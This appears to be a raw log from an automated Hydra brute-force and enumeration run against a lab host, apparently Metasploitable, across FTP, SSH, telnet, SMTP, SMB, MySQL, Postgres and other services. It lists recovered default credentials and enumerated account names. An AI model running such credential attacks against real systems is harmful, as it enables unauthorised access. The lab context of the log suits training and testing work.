Hydra (http://www.thc.org/thc-hydra) starting at 2015-09-07 05:09:06 [WARNING] Restorefile (./hydra.restore) from a previous session found, to prevent overwriting, you have 10 seconds to abort... [DATA] max 30 tasks per 1 server, overall 64 tasks, 3363 login tries (l:57/p:59), ~1 try per task [DATA] attacking service ftp on port 21 [21][ftp] host: 192.168.1.113 login: anonymous password: anonymous [21][ftp] host: 192.168.1.113 login: ftp password: ftp [STATUS] 729.00 tries/min, 729 tries in 00:01h, 2634 todo in 00:04h, 30 active [21][ftp] host: 192.168.1.113 login: msfadmin password: msfadmin [21][ftp] host: 192.168.1.113 login: postgres password: postgres [STATUS] 667.67 tries/min, 2003 tries in 00:03h, 1360 todo in 00:03h, 30 active [21][ftp] host: 192.168.1.113 login: service password: service [STATUS] 667.75 tries/min, 2671 tries in 00:04h, 692 todo in 00:02h, 30 active [21][ftp] host: 192.168.1.113 login: user password: user [STATUS] 667.80 tries/min, 3339 tries in 00:05h, 24 todo in 00:01h, 30 active 1 of 1 target successfully completed, 6 valid passwords found Hydra (http://www.thc.org/thc-hydra) finished at 2015-09-07 05:14:21
- -- --=[Port 22 opened... running tests... Hydra v8.1 (c) 2014 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
Hydra (http://www.thc.org/thc-hydra) starting at 2015-09-07 05:14:21 [WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4 [DATA] max 30 tasks per 1 server, overall 64 tasks, 3363 login tries (l:57/p:59), ~1 try per task [DATA] attacking service ssh on port 22 [STATUS] 3491.00 tries/min, 3491 tries in 00:01h, 18446744073709551488 todo in 5124095576030431:01h, 30 active [STATUS] 1163.67 tries/min, 3491 tries in 00:03h, 18446744073709551488 todo in 5124095576030431:01h, 30 active [STATUS] 498.71 tries/min, 3491 tries in 00:07h, 18446744073709551488 todo in 5124095576030431:01h, 30 active [STATUS] 232.73 tries/min, 3491 tries in 00:15h, 18446744073709551488 todo in 5124095576030430:60h, 30 active [STATUS] 112.61 tries/min, 3491 tries in 00:31h, 18446744073709551488 todo in 5124095576030430:60h, 30 active [STATUS] 74.28 tries/min, 3491 tries in 00:47h, 18446744073709551488 todo in 5124095576030430:59h, 30 active [STATUS] 55.41 tries/min, 3491 tries in 01:03h, 18446744073709551488 todo in 5124095576030430:58h, 30 active [STATUS] 44.19 tries/min, 3491 tries in 01:19h, 18446744073709551488 todo in 5124095576030430:58h, 30 active [STATUS] 36.75 tries/min, 3491 tries in 01:35h, 18446744073709551488 todo in 5124095576030430:57h, 30 active The session file ./hydra.restore was written. Type "hydra -R" to resume session. [STATUS] 31.45 tries/min, 3491 tries in 01:51h, 18446744073709551488 todo in 5124095576030430:57h, 30 active [STATUS] 27.49 tries/min, 3491 tries in 02:07h, 18446744073709551488 todo in 5124095576030430:56h, 30 active
- -- --=[Port 23 opened... running tests... Hydra v8.1 (c) 2014 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
Hydra (http://www.thc.org/thc-hydra) starting at 2015-09-07 07:31:58 [WARNING] telnet is by its nature unreliable to analyze, if possible better choose FTP, SSH, etc. if available [WARNING] Restorefile (./hydra.restore) from a previous session found, to prevent overwriting, you have 10 seconds to abort... [DATA] max 30 tasks per 1 server, overall 64 tasks, 3363 login tries (l:57/p:59), ~1 try per task [DATA] attacking service telnet on port 23 [STATUS] 383.00 tries/min, 383 tries in 00:01h, 2980 todo in 00:08h, 30 active [STATUS] 209.34 tries/min, 635 tries in 00:03h, 2728 todo in 00:14h, 30 active [STATUS] 120.71 tries/min, 851 tries in 00:07h, 2512 todo in 00:21h, 30 active [STATUS] 90.54 tries/min, 1091 tries in 00:12h, 2272 todo in 00:26h, 30 active [STATUS] 65.53 tries/min, 1445 tries in 00:22h, 1918 todo in 00:30h, 30 active [23][telnet] host: 192.168.1.113 login: msfadmin password: msfadmin [23][telnet] host: 192.168.1.113 login: postgres password: postgres [STATUS] 46.25 tries/min, 1945 tries in 00:42h, 1418 todo in 00:31h, 30 active [STATUS] 43.17 tries/min, 2031 tries in 00:47h, 1332 todo in 00:31h, 30 active [STATUS] 40.71 tries/min, 2119 tries in 00:52h, 1244 todo in 00:31h, 30 active [STATUS] 38.62 tries/min, 2207 tries in 00:57h, 1156 todo in 00:30h, 30 active [23][telnet] host: 192.168.1.113 login: service password: service [STATUS] 37.89 tries/min, 2355 tries in 01:02h, 1008 todo in 00:27h, 30 active [STATUS] 36.35 tries/min, 2443 tries in 01:07h, 920 todo in 00:26h, 30 active [STATUS] 35.03 tries/min, 2529 tries in 01:12h, 834 todo in 00:24h, 30 active [STATUS] 33.87 tries/min, 2616 tries in 01:17h, 747 todo in 00:23h, 30 active [STATUS] 32.86 tries/min, 2704 tries in 01:22h, 659 todo in 00:21h, 30 active [STATUS] 31.97 tries/min, 2793 tries in 01:27h, 570 todo in 00:18h, 30 active [STATUS] 31.13 tries/min, 2875 tries in 01:32h, 488 todo in 00:16h, 30 active [STATUS] 30.40 tries/min, 2960 tries in 01:37h, 403 todo in 00:14h, 30 active [STATUS] 29.76 tries/min, 3046 tries in 01:42h, 317 todo in 00:11h, 30 active [23][telnet] host: 192.168.1.113 login: user password: user [STATUS] 29.73 tries/min, 3192 tries in 01:47h, 171 todo in 00:06h, 30 active [STATUS] 29.17 tries/min, 3278 tries in 01:52h, 85 todo in 00:03h, 30 active [STATUS] 29.06 tries/min, 3295 tries in 01:53h, 68 todo in 00:03h, 30 active [STATUS] 28.96 tries/min, 3312 tries in 01:54h, 51 todo in 00:02h, 30 active [STATUS] 28.85 tries/min, 3329 tries in 01:55h, 34 todo in 00:02h, 30 active [STATUS] 28.76 tries/min, 3347 tries in 01:56h, 16 todo in 00:01h, 30 active [STATUS] 28.65 tries/min, 3363 tries in 01:57h, 1 todo in 00:01h, 29 active [STATUS] 28.41 tries/min, 3363 tries in 01:58h, 1 todo in 00:01h, 29 active [STATUS] 28.17 tries/min, 3363 tries in 01:59h, 1 todo in 00:01h, 29 active [STATUS] 27.94 tries/min, 3363 tries in 02:00h, 1 todo in 00:01h, 29 active [STATUS] 27.71 tries/min, 3363 tries in 02:01h, 1 todo in 00:01h, 29 active [STATUS] 27.48 tries/min, 3363 tries in 02:02h, 1 todo in 00:01h, 29 active [STATUS] 27.26 tries/min, 3363 tries in 02:03h, 1 todo in 00:01h, 29 active [STATUS] 27.04 tries/min, 3363 tries in 02:04h, 1 todo in 00:01h, 29 active ^C + -- --=[Port 25 opened... running tests... Hydra v8.1 (c) 2014 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
Hydra (http://www.thc.org/thc-hydra) starting at 2015-09-07 09:36:32 [WARNING] Restorefile (./hydra.restore) from a previous session found, to prevent overwriting, you have 10 seconds to abort... [DATA] max 30 tasks per 1 server, overall 64 tasks, 3363 login tries (l:57/p:59), ~1 try per task [DATA] attacking service smtp-enum on port 25 [25][smtp-enum] host: 192.168.1.113 login: backup [25][smtp-enum] host: 192.168.1.113 login: bin [25][smtp-enum] host: 192.168.1.113 login: bind [25][smtp-enum] host: 192.168.1.113 login: daemon [25][smtp-enum] host: 192.168.1.113 login: dhcp [25][smtp-enum] host: 192.168.1.113 login: distccd [25][smtp-enum] host: 192.168.1.113 login: ftp [25][smtp-enum] host: 192.168.1.113 login: games [25][smtp-enum] host: 192.168.1.113 login: gnats [25][smtp-enum] host: 192.168.1.113 login: irc [25][smtp-enum] host: 192.168.1.113 login: klog [25][smtp-enum] host: 192.168.1.113 login: libuuid [25][smtp-enum] host: 192.168.1.113 login: list [25][smtp-enum] host: 192.168.1.113 login: lp [25][smtp-enum] host: 192.168.1.113 login: mail [25][smtp-enum] host: 192.168.1.113 login: man [25][smtp-enum] host: 192.168.1.113 login: msfadmin [25][smtp-enum] host: 192.168.1.113 login: mysql [25][smtp-enum] host: 192.168.1.113 login: news [25][smtp-enum] host: 192.168.1.113 login: nobody [25][smtp-enum] host: 192.168.1.113 login: postfix [25][smtp-enum] host: 192.168.1.113 login: postgres [25][smtp-enum] host: 192.168.1.113 login: proftpd [25][smtp-enum] host: 192.168.1.113 login: proxy [25][smtp-enum] host: 192.168.1.113 login: root [25][smtp-enum] host: 192.168.1.113 login: service [25][smtp-enum] host: 192.168.1.113 login: sshd [25][smtp-enum] host: 192.168.1.113 login: sync [25][smtp-enum] host: 192.168.1.113 login: sys [25][smtp-enum] host: 192.168.1.113 login: syslog [25][smtp-enum] host: 192.168.1.113 login: telnetd [25][smtp-enum] host: 192.168.1.113 login: tomcat55 [25][smtp-enum] host: 192.168.1.113 login: user [25][smtp-enum] host: 192.168.1.113 login: uucp [25][smtp-enum] host: 192.168.1.113 login: www-data [STATUS] 3363.00 tries/min, 3363 tries in 00:01h, 1 todo in 00:01h, 8 active ^CHydra v8.1 (c) 2014 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
Hydra (http://www.thc.org/thc-hydra) starting at 2015-09-07 09:38:08 [INFO] several providers have implemented cracking protection, check with a small wordlist first - and stay legal! [WARNING] Restorefile (./hydra.restore) from a previous session found, to prevent overwriting, you have 10 seconds to abort... [DATA] max 30 tasks per 1 server, overall 64 tasks, 3363 login tries (l:57/p:59), ~1 try per task [DATA] attacking service smtp on port 25 [ERROR] SMTP LOGIN AUTH, either this auth is disabled or server is not using auth: 503 5.5.1 Error: authentication not enabled
- -- --=[Port 80 opened... running tests... Hydra v8.1 (c) 2014 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
Hydra (http://www.thc.org/thc-hydra) starting at 2015-09-07 09:38:20 [WARNING] http-head auth does not work with every server, better use http-get [WARNING] Restorefile (./hydra.restore) from a previous session found, to prevent overwriting, you have 10 seconds to abort... [DATA] max 30 tasks per 1 server, overall 64 tasks, 3363 login tries (l:57/p:59), ~1 try per task [DATA] attacking service http-head on port 80 [80][http-head] host: 192.168.1.113 login: admin password: admin ^CThe session file ./hydra.restore was written. Type "hydra -R" to resume session.
- -- --=[Port 110 closed... skipping.
- -- --=[Port 139 opened... running tests... Hydra v8.1 (c) 2014 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
Hydra (http://www.thc.org/thc-hydra) starting at 2015-09-07 09:38:48 [INFO] Reduced number of tasks to 1 (smb does not like parallel connections) [WARNING] Restorefile (./hydra.restore) from a previous session found, to prevent overwriting, you have 10 seconds to abort... [DATA] max 1 task per 1 server, overall 64 tasks, 3363 login tries (l:57/p:59), ~52 tries per task [DATA] attacking service smb on port 445 with SSL [445][smb] host: 192.168.1.113 login: msfadmin password: msfadmin [STATUS] 2684.00 tries/min, 2684 tries in 00:01h, 679 todo in 00:01h, 1 active [445][smb] host: 192.168.1.113 login: user password: user 1 of 1 target successfully completed, 2 valid passwords found Hydra (http://www.thc.org/thc-hydra) finished at 2015-09-07 09:40:11
- -- --=[Port 389 closed... skipping.
- -- --=[Port 443 closed... skipping.
- -- --=[Port 445 opened... running tests... Hydra v8.1 (c) 2014 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
Hydra (http://www.thc.org/thc-hydra) starting at 2015-09-07 09:40:11 [INFO] Reduced number of tasks to 1 (smb does not like parallel connections) [DATA] max 1 task per 1 server, overall 64 tasks, 3363 login tries (l:57/p:59), ~52 tries per task [DATA] attacking service smb on port 445 with SSL [445][smb] host: 192.168.1.113 login: msfadmin password: msfadmin [STATUS] 2676.00 tries/min, 2676 tries in 00:01h, 687 todo in 00:01h, 1 active [445][smb] host: 192.168.1.113 login: user password: user 1 of 1 target successfully completed, 2 valid passwords found Hydra (http://www.thc.org/thc-hydra) finished at 2015-09-07 09:41:25
- -- --=[Port 512 opened... running tests... Hydra v8.1 (c) 2014 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
Hydra (http://www.thc.org/thc-hydra) starting at 2015-09-07 09:41:25 [DATA] max 30 tasks per 1 server, overall 64 tasks, 3363 login tries (l:57/p:59), ~1 try per task [DATA] attacking service rexec on port 512 with SSL [STATUS] 1745.50 tries/min, 3491 tries in 00:02h, 18446744073709551488 todo in 5124095576030431:01h, 30 active ^CThe session file ./hydra.restore was written. Type "hydra -R" to resume session.
- -- --=[Port 513 opened... running tests... Hydra v8.1 (c) 2014 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
Hydra (http://www.thc.org/thc-hydra) starting at 2015-09-07 09:43:36 [WARNING] Restorefile (./hydra.restore) from a previous session found, to prevent overwriting, you have 10 seconds to abort... [DATA] max 30 tasks per 1 server, overall 64 tasks, 3363 login tries (l:57/p:59), ~1 try per task [DATA] attacking service rlogin on port 513 with SSL
- -- --=[Port 514 closed... skipping.
- -- --=[Port 993 closed... skipping.
- -- --=[Port 1433 closed... skipping.
- -- --=[Port 3306 opened... running tests... Hydra v8.1 (c) 2014 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
Hydra (http://www.thc.org/thc-hydra) starting at 2015-09-07 09:44:05 [INFO] Reduced number of tasks to 4 (mysql does not like many parallel connections) [WARNING] Restorefile (./hydra.restore) from a previous session found, to prevent overwriting, you have 10 seconds to abort... [DATA] max 4 tasks per 1 server, overall 64 tasks, 3363 login tries (l:57/p:59), ~13 tries per task [DATA] attacking service mysql on port 3306 [3306][mysql] host: 192.168.1.113 login: guest [STATUS] 1211.00 tries/min, 1211 tries in 00:01h, 2152 todo in 00:02h, 4 active [3306][mysql] host: 192.168.1.113 login: root [STATUS] 1216.50 tries/min, 2433 tries in 00:02h, 930 todo in 00:01h, 4 active 1 of 1 target successfully completed, 2 valid passwords found Hydra (http://www.thc.org/thc-hydra) finished at 2015-09-07 09:46:59
- -- --=[Port 3389 closed... skipping.
- -- --=[Port 5432 opened... running tests... Hydra v8.1 (c) 2014 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
Hydra (http://www.thc.org/thc-hydra) starting at 2015-09-07 09:46:59 [DATA] max 30 tasks per 1 server, overall 64 tasks, 3363 login tries (l:57/p:59), ~1 try per task [DATA] attacking service postgres on port 5432 [5432][postgres] host: 192.168.1.113 login: postgres password: postgres 1 of 1 target successfully completed, 1 valid password found Hydra (http://www.thc.org/thc-hydra) finished at 2015-09-07 09:47:41
- -- --=[Port 5900 opened... running tests... Hydra v8.1 (c) 2014 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
Hydra (http://www.thc.org/thc-hydra) starting at 2015-09-07 09:47:41 [WARNING] you should set the number of parallel task to 4 for vnc services. [ERROR] The redis, cisco, oracle-listener, s7-300, snmp and vnc modules are only using the -p or -P option, not login (-l, -L) or colon file (-C). Use the telnet module for cisco using "Username:" authentication.
- -- --=[Port 5901 closed... skipping.
- -- --=[Port 8000 closed... skipping.
- -- --=[Port 8080 closed... skipping.
- -- --=[Port 8100 closed... skipping.
- -- --=[Port 6667 opened... running tests... Hydra v8.1 (c) 2014 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
Hydra (http://www.thc.org/thc-hydra) starting at 2015-09-07 09:47:41 [DATA] max 30 tasks per 1 server, overall 64 tasks, 3363 login tries (l:57/p:59), ~1 try per task [DATA] attacking service irc on port 6667 [ERROR] should not be able to identify server msg, please report it :irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostname...
[ERROR] should not be able to identify server msg, please report it :irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostname...
[ERROR] should not be able to identify server msg, please report it :irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostname...
[STATUS] 35.00 tries/min, 35 tries in 00:01h, 3328 todo in 01:36h, 30 active [STATUS] 11.67 tries/min, 35 tries in 00:03h, 3328 todo in 04:46h, 30 active [STATUS] 5.00 tries/min, 35 tries in 00:07h, 3328 todo in 11:06h, 30 active [STATUS] 2.33 tries/min, 35 tries in 00:15h, 3328 todo in 23:47h, 30 active [STATUS] 1.13 tries/min, 35 tries in 00:31h, 3328 todo in 49:08h, 30 active [STATUS] 0.74 tries/min, 35 tries in 00:47h, 3328 todo in 74:30h, 30 active [STATUS] 0.56 tries/min, 35 tries in 01:03h, 3328 todo in 99:51h, 30 active [STATUS] 0.44 tries/min, 35 tries in 01:19h, 3328 todo in 125:12h, 30 active [STATUS] 0.37 tries/min, 35 tries in 01:35h, 3328 todo in 150:34h, 30 active [STATUS] 0.32 tries/min, 35 tries in 01:51h, 3328 todo in 175:55h, 30 active ^CThe session file ./hydra.restore was written. Type "hydra -R" to resume session.
################################### Brute Forcing DNS ############################### Error: no name server (NS) entry for domain 192.168.1.113. exists
################################### Done! ###########################################